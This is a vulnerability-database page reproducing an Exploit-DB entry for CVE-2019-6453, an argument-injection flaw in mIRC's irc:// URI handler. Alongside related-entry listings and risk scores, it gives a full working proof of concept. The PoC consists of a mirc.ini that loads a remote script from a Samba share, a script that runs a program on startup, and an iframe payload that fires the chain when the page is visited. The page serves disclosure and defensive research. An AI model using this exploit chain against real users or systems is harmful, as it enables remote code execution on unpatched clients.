Lucene search
K

mIRC < 7.55 - 'Custom URI Protocol Handlers' Remote Command Execution

🗓️ 18 Feb 2019 00:00:00Reported by ProofOfCalcType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 62 Views

RCE on mIRC <7.55 using argument injection through custom URI protocol handlers. Arbitrary code execution via loading remote configuration fil

Related
Code
ReporterTitlePublishedViews
Family
0day.today
mIRC < 7.55 - Remote Command Execution Using Argument Injection Through Custom URI Vulnerability
18 Feb 201900:00
zdt
0day.today
EA Origin < 10.5.38 - Remote Code Execution Vulnerability
22 Jun 201900:00
zdt
Circl
CVE-2019-6453
18 Feb 201910:44
circl
Check Point Advisories
mIRC URI Handler Remote Code Execution (CVE-2019-6453)
26 Dec 201900:00
checkpoint_advisories
CVE
CVE-2019-6453
18 Feb 201915:00
cve
Cvelist
CVE-2019-6453
18 Feb 201915:00
cvelist
exploitpack
mIRC 7.55 - Custom URI Protocol Handlers Remote Command Execution
18 Feb 201900:00
exploitpack
exploitpack
EA Origin 10.5.38 - Remote Code Execution
21 Jun 201900:00
exploitpack
NVD
CVE-2019-6453
18 Feb 201915:29
nvd
OSV
CVE-2019-6453
18 Feb 201915:29
osv
Rows per page
# Exploit Title: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers
# Date: 18/02/2019
# Exploit Author: https://twitter.com/proofofcalc/
# Vendor Homepage: https://www.mirc.com
# Software Link: https://www.mirc.com/get.php
# Version: < 7.55
# Tested on: Windows
# CVE : CVE-2019-6453

RCE through URI protocol handlers on mIRC <7.55 (CVE-2019-6453)
===============================================================

Severity: High

mIRC has been shown to be vulnerable to argument injection through its
associated URI protocol handlers that improperly escape their parameters.
Usingavailable command-line parameters, an attacker is able to load a remote
configuration file and to automatically run arbitrary code.

Because mIRC doesn't use any kind of sigil such as -- to mark
the end of the argument list, an attacker is able to pass arguments to mIRC
through a irc:// link and execute arbitrary code by loading a custom
mirc.ini
from an attacker-controlled Samba file server. Please note that ircs://
works
the same way.


PoC
===

The proof of calc requires three files: mirc.ini, calc.ini and poc.html.
We assume a Samba file server is running on the attacker's side. For the
sake of the example, the following pieces of code assume it is running on
host 127.0.0.1 (i.e. replace 127.0.0.1 by your own server's address in
the following files to try this out).

mirc.ini
========

mirc.ini is a custom configuration file that should be located at
C:\mirc-poc\mirc.ini
on the file server.

[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini

calc.ini
========

calc.ini is a remote script file that should be located at
C:\mirc-poc\calc.ini on the
file server.

[script]
n0=on *:START: {
n1=  /run calc.exe
n2=}

poc.html
========

Just visiting poc.html should work assuming mIRC is set as the default
handler for the
irc:// URI scheme and the browser does not encode the payload. Depending
on the browser
and your configuration, you might still get a prompt (not the case on
Firefox).

<iframe src='irc://? -i\\127.0.0.1\C$\mirc-poc\mirc.ini' />

Affected versions
=================

This PoC runs for mIRC <7.55.

You can trigger the PoC on Edge 42.17134 (last preview version) and
Firefox 64.0.2
(last release). It doesn't work on Chrome because the way Chrome handle
URI protocols
(URI is encoded before being passed to the application).

References
==========

Further explanation (including proof of concept code):

Write-up:
https://proofofcalc.com/cve-2019-6453-mIRC/

PoC:
https://github.com/proofofcalc/cve-2019-6453-poc

mIRC changelog:
https://www.mirc.com/whatsnew.txt

Authors
=======

Baptiste Devigne (Geluchat) and Benjamin Chetioui (SIben)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2019 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 26.8
CVSS 38.1
EPSS0.84944
62